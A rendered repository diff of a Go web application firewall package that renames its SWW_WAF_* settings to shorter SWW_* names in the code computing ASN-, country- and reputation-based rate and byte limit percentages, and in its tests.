// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||||
// it, the first of them in the order below when several are lowest: the
|
// it, the first of them in the order below when several are lowest: the
|
||||||
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||||
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||||
// other tags, for a client without a country, unless its request skipped
|
// other tags, for a client without a country, unless its request skipped
|
||||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
|
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||||
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
||||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||||
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
|
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
||||||
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
||||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
|
// take the place of the first three for an AS number or a country they
|
||||||
// an AS number or a country they list.
|
// list.
|
||||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
asn, country := rq.line.ASN, rq.line.Country
|
asn, country := rq.line.ASN, rq.line.Country
|
||||||
@@ -52,34 +51,34 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
unknown := percentage{percent: whole}
|
unknown := percentage{percent: whole}
|
||||||
if country == "" && !rq.skippedLookupWait {
|
if country == "" && !rq.skippedLookupWait {
|
||||||
unknown = percentage{
|
unknown = percentage{
|
||||||
cfg.UnknownCountryLimitPercent,
|
cfg.UnknownLimitPercent,
|
||||||
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
"SWW_UNKNOWN_LIMIT_PERCENT",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fetched := percentage{percent: whole}
|
fetched := percentage{percent: whole}
|
||||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||||
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"}
|
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
||||||
}
|
}
|
||||||
|
|
||||||
blocklisted := percentage{percent: whole}
|
blocklisted := percentage{percent: whole}
|
||||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||||
blocklisted = percentage{
|
blocklisted = percentage{
|
||||||
cfg.BlocklistLimitPercent,
|
cfg.BlocklistLimitPercent,
|
||||||
"SWW_WAF_BLOCKLIST_ACTION",
|
"SWW_BLOCKLIST_ACTION",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
dnsblAbuseIPDBListed := percentage{percent: whole}
|
reputationListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
cfg.ReputationAction == "limit" {
|
||||||
dnsblAbuseIPDBListed = percentage{
|
reputationListed = percentage{
|
||||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
cfg.ReputationLimitPercent,
|
||||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
"SWW_REPUTATION_ACTION",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT"
|
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||||
|
|
||||||
asnRequests := lowest(
|
asnRequests := lowest(
|
||||||
given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
|
given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
|
||||||
@@ -103,24 +102,20 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
asnBytes, countryBytes := asnRequests, countryRequests
|
asnBytes, countryBytes := asnRequests, countryRequests
|
||||||
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
|
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||||
asnBytes = given(
|
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
||||||
cfg.ASNBytesLimitPercent,
|
|
||||||
asn,
|
|
||||||
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
|
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||||
countryBytes = given(
|
countryBytes = given(
|
||||||
cfg.CountryBytesLimitPercent,
|
cfg.CountryBytesPercent,
|
||||||
country,
|
country,
|
||||||
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
"SWW_COUNTRY_BYTES_PERCENT",
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The limits that lower requests and bytes alike.
|
// The limits that lower requests and bytes alike.
|
||||||
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
||||||
|
|
||||||
return lowest(asnRequests, countryRequests, common),
|
return lowest(asnRequests, countryRequests, common),
|
||||||
lowest(asnBytes, countryBytes, common)
|
lowest(asnBytes, countryBytes, common)
|
||||||
|
|||||||
+39
-53
@@ -8,7 +8,6 @@ import (
|
|||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
@@ -23,10 +22,10 @@ import (
|
|||||||
|
|
||||||
// The biased thresholds.
|
// The biased thresholds.
|
||||||
const (
|
const (
|
||||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||||
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
|
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||||
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
|
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||||
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
|
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -35,7 +34,7 @@ const (
|
|||||||
asnDEHalf = asnDE + ":50"
|
asnDEHalf = asnDE + ":50"
|
||||||
asnDEQuarter = asnDE + ":25"
|
asnDEQuarter = asnDE + ":25"
|
||||||
countryDEHalf = "de:50"
|
countryDEHalf = "de:50"
|
||||||
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags.
|
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||||
asnTagDEHalf = "asn=64496:50"
|
asnTagDEHalf = "asn=64496:50"
|
||||||
asnTagDEQuarter = "asn=64496:25"
|
asnTagDEQuarter = "asn=64496:25"
|
||||||
countryTagDEHalf = "country=DE:50"
|
countryTagDEHalf = "country=DE:50"
|
||||||
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||||
{unknownCountryLimitPercent, "50", unplaced},
|
{unknownLimitPercent, "50", unplaced},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting, func(t *testing.T) {
|
t.Run(tc.setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -109,9 +108,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||||
{tagLimitPercent, "Country=de:50", fromDE},
|
{tagLimitPercent, "Country=de:50", fromDE},
|
||||||
{unknownCountryLimitPercent, "50", unplaced},
|
{unknownLimitPercent, "50", unplaced},
|
||||||
{asnBytesLimitPercent, "as64496:50", fromDE},
|
{asnBytesPercent, "as64496:50", fromDE},
|
||||||
{countryBytesLimitPercent, countryDEHalf, fromDE},
|
{countryBytesPercent, countryDEHalf, fromDE},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting, func(t *testing.T) {
|
t.Run(tc.setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -150,7 +149,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -164,28 +163,22 @@ func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
|||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
"lowering the byte limits alone",
|
"lowering the byte limits alone",
|
||||||
map[string]string{asnBytesLimitPercent: asnDEHalf},
|
map[string]string{asnBytesPercent: asnDEHalf},
|
||||||
none, "50 from " + asnBytesLimitPercent, minuteBytes,
|
none, "50 from " + asnBytesPercent, minuteBytes,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"lowering the byte limits alone, by country",
|
"lowering the byte limits alone, by country",
|
||||||
map[string]string{countryBytesLimitPercent: countryDEHalf},
|
map[string]string{countryBytesPercent: countryDEHalf},
|
||||||
none, "50 from " + countryBytesLimitPercent, minuteBytes,
|
none, "50 from " + countryBytesPercent, minuteBytes,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"raising the byte limits back",
|
"raising the byte limits back",
|
||||||
map[string]string{
|
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||||
tagLimitPercent: asnTagDEHalf,
|
|
||||||
asnBytesLimitPercent: asnDE + ":100",
|
|
||||||
},
|
|
||||||
"50 from " + tagLimitPercent, none, "",
|
"50 from " + tagLimitPercent, none, "",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"raising the byte limits back, by country",
|
"raising the byte limits back, by country",
|
||||||
map[string]string{
|
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
||||||
tagLimitPercent: countryTagDEHalf,
|
|
||||||
countryBytesLimitPercent: "de:100",
|
|
||||||
},
|
|
||||||
"50 from " + tagLimitPercent, none, "",
|
"50 from " + tagLimitPercent, none, "",
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -221,7 +214,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
|||||||
|
|
||||||
s, _, _ := startWithLookups(
|
s, _, _ := startWithLookups(
|
||||||
t,
|
t,
|
||||||
map[string]string{unknownCountryLimitPercent: "0"},
|
map[string]string{unknownLimitPercent: "0"},
|
||||||
)
|
)
|
||||||
|
|
||||||
// The first request breaks the limit, and bans the client; the log line
|
// The first request breaks the limit, and bans the client; the log line
|
||||||
@@ -232,12 +225,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
|||||||
requestlog.ActionClientIsRateLimited,
|
requestlog.ActionClientIsRateLimited,
|
||||||
)
|
)
|
||||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
|
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||||
line.fields["rate_limit_percent"],
|
line.fields["rate_limit_percent"],
|
||||||
line.fields["rate_limit_percent_setting"],
|
line.fields["rate_limit_percent_setting"],
|
||||||
unknownCountryLimitPercent,
|
unknownLimitPercent,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -271,11 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"that for a client without a country",
|
"that for a client without a country",
|
||||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
|
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
||||||
noCountry, "25 from " + unknownCountryLimitPercent,
|
noCountry, "25 from " + unknownLimitPercent,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
|
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||||
"the AS number's, for a client without a country",
|
"the AS number's, for a client without a country",
|
||||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||||
noCountry, "25 from " + tagLimitPercent,
|
noCountry, "25 from " + tagLimitPercent,
|
||||||
@@ -303,13 +296,13 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithLookups(t, map[string]string{
|
s, _, _ := startWithLookups(t, map[string]string{
|
||||||
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
|
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
|
||||||
})
|
})
|
||||||
|
|
||||||
// One the lookup database does not hold, and one on a private address,
|
// One the lookup database does not hold, and one on a private address,
|
||||||
@@ -330,17 +323,14 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
// says, with a GeoJS that never answers.
|
||||||
// a GeoJS that never answers.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{unknownCountryLimitPercent: "0"})
|
map[string]string{unknownLimitPercent: "0"})
|
||||||
|
|
||||||
// Once the time the request waits for its answer is up, the client
|
// Once the time the request waits for its answer is up, the client
|
||||||
// counts as without a country, and its zero allowance refuses the
|
// counts as without a country, and its zero allowance refuses the
|
||||||
@@ -356,7 +346,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
|||||||
)
|
)
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
"0 from "+unknownCountryLimitPercent)
|
"0 from "+unknownLimitPercent)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -375,26 +365,22 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
// A tag the lookup does not give needs no answer.
|
// A tag the lookup does not give needs no answer.
|
||||||
{tagLimitPercent, "vpn:50", false},
|
{tagLimitPercent, "vpn:50", false},
|
||||||
{tagDeny, "vpn", false},
|
{tagDeny, "vpn", false},
|
||||||
{asnBytesLimitPercent, asnDEHalf, true},
|
{asnBytesPercent, asnDEHalf, true},
|
||||||
{countryBytesLimitPercent, countryDEHalf, true},
|
{countryBytesPercent, countryDEHalf, true},
|
||||||
{unknownCountryLimitPercent, "99", true},
|
{unknownLimitPercent, "99", true},
|
||||||
{asnLimitPercentURL, asnURL, true},
|
{asnLimitPercentURL, asnURL, true},
|
||||||
// At 100, its default, it lowers no limit.
|
// At 100, its default, it lowers no limit.
|
||||||
{unknownCountryLimitPercent, "100", false},
|
{unknownLimitPercent, "100", false},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
// says, with a GeoJS that never answers.
|
||||||
// with a GeoJS that never answers.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
asnAndCountryLookupTimeout: strconv.FormatInt(
|
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||||
timeout.Milliseconds(), 10),
|
|
||||||
tagLists: "vpn=" + vpnList,
|
|
||||||
tc.setting: tc.value,
|
|
||||||
})
|
})
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
@@ -463,10 +449,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
|||||||
"a byte limit",
|
"a byte limit",
|
||||||
map[string]string{
|
map[string]string{
|
||||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||||
asnBytesLimitPercent: asnDEHalf,
|
asnBytesPercent: asnDEHalf,
|
||||||
},
|
},
|
||||||
0, http.StatusOK, requestlog.ActionForward,
|
0, http.StatusOK, requestlog.ActionForward,
|
||||||
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
|
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
@@ -606,7 +592,7 @@ func wantPercent(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// percentText gives a limit percentage and the setting that gave it as
|
// percentText gives a limit percentage and the setting that gave it as
|
||||||
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are
|
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
|
||||||
// left out.
|
// left out.
|
||||||
func percentText(percent *int64, setting string) string {
|
func percentText(percent *int64, setting string) string {
|
||||||
switch {
|
switch {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists
|
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||||
// through the reputation lists.
|
// through the reputation lists.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||||
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it
|
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
||||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||||
// does nothing more. Its figure is the blocklists that list the client.
|
// does nothing more. Its figure is the blocklists that list the client.
|
||||||
type blocklists struct{}
|
type blocklists struct{}
|
||||||
@@ -39,7 +39,7 @@ func (blocklists) check(
|
|||||||
|
|
||||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||||
// it and SWW_WAF_BLOCKLIST_ACTION is deny.
|
// it and SWW_BLOCKLIST_ACTION is deny.
|
||||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
|
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||||
// and biased thresholds through the limiter and limitPercentages.
|
// and biased thresholds through the limiter and limitPercentages.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
Loaded 100 of 142 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user